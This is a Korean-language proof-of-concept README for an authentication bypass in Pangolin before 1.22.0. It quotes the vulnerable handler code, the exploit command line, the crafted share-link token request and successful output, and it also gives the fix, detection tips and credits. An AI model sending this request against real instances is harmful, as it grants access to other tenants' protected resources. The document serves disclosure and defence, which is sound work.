
CVE-2026-72001 PoC — Pangolin < 1.22.0에서 share-link access-token 엔드포인트를 통한 조직 간 리소스 인증 우회 (CWE-639, CVSS 8.1).
CVE-2026-72001에 대한 개념 증명(PoC)으로,
Pangolin (< 1.22.0)의 객체 수준 권한 부여(broken-object-level-authorization) 결함입니다.
이 취약점을 통해 하나의 리소스 공유 링크를 보유한 공격자가 인스턴스의 다른 조직이 소유한 리소스를 포함한 모든 다른 리소스에 대해 유효한 리소스 세션을 발급받을 수 있으며,
설정된 모든 인증 방식(SSO, 리소스 비밀번호, PIN, 이메일 허용 목록, 헤더 인증)을 우회합니다.
| CVE | CVE-2026-72001 |
| 제품 | fosrl/pangolin |
| 영향 받는 버전 | < 1.22.0 |
| 수정 버전 | 1.22.0 |
| 분류 | 사용자 제어 키를 통한 권한 부여 우회 (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| 인증 | 공격자는 모든 리소스에 대한 하나의 유효한 공유 링크 토큰만 있으면 됨 |
| 판정 | 취약점 확인됨 (엔드투엔드, badger 적용 valid:true) |
공유 링크 인증 엔드포인트 POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts)에는 두 개의 분기가 있습니다. 요청에
accessTokenId가 포함된 경우, 토큰을 검증하지만 해당 검증을 URL의 리소스에 바인딩하는 것을 잊습니다:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken은 resourceId를 받은 경우에만 리소스 바인딩을 적용합니다:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
핸들러가 resourceId를 전달하지 않기 때문에 가드가 건너뛰어집니다: 토큰은 자신의 리소스에 대해 검증되지만,
세션은 URL에 명시된 리소스에 대해 발급됩니다. 그런 다음 피해 리소스에 대한 세션(badger 요청 토큰)이 생성됩니다:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
이 라우트는 인증되지 않은 라우터(unauthenticated.use("/auth", authRouter))에 존재하며
(형제인 password/pincode/whitelist 인증 라우트와 달리) 속도 제한이 없습니다.
CSRF 미들웨어는 정적 상수 헤더(X-CSRF-Token: x-csrf-protection)만 확인합니다.
수정 (1.22.0): 핸들러가 resourceId를 verifyResourceAccessToken으로 전달하므로,
불일치 가드가 작동하여 교차 리소스 요청은 401 "Resource ID does not match"를 반환합니다.
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
단일 취약 요청은 다음과 같습니다:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access는 추가로 반환된 요청 토큰을 badger 적용 엔드포인트
(/badger/exchange-session → /badger/verify-session) — Traefik이 참조하는 동일한 경로 — 에서 교환하여
단순히 반환된 문자열이 아닌 실제 접근을 증명합니다. 실제 배포에서 공격자는 단순히 요청 토큰을 리소스에 제시하면
Traefik/badger가 자동으로 교환합니다.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
전체 워크스루와 취약 버전 대 패치 버전 경계는
lab/setup.sh, ANALYSIS.md 및
evidence/를 참조하세요.
모든 멀티테넌트 / 멀티조직 Pangolin 인스턴스(여러 조직이 있는 자체 호스팅, MSP 또는 호스팅 배포)에서 단일 공유 링크를 획득할 수 있는 행위자 — 정당하게 부여받은 링크, 유출된 링크 또는 자신이 제어하는 리소스에서 스스로 발급한 링크 — 는 다른 테넌트의 보호된 리소스를 읽고 조작할 수 있습니다. 인스턴스의 모든 보호된 리소스의 기밀성과 무결성이 침해됩니다 (CVSS C:H/I:H).
Pangolin ≥ 1.22.0으로 업그레이드하세요. 수정 사항은 액세스 토큰 검사를 URL 리소스 id에 바인딩합니다. < 1.22.0에 대한 구성 우회 방법은 완전히 완화되지 않습니다. 리소스 공유 링크 발급을 제한하고 업그레이드 후 기존 액세스 토큰을 교체하세요.
제시된 accessTokenId가 id ≠ <id>인 리소스에 속하는 POST /api/v1/auth/resource/<id>/access-token
(교차 리소스 토큰 사용)과 높은 볼륨으로 도착하는 액세스 토큰 인증 요청(라우트가 제한되지 않음)을 찾으세요.
logAccessAudit 항목은 토큰 조직이 리소스 조직과 다른 accessToken 작업을 표시합니다.
BiiTts (Caio Fabrício)가 발견 / 분석 및 PoC를 작성했습니다. 취약점은 VulnCheck에 의해 보고되었습니다. 권고: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.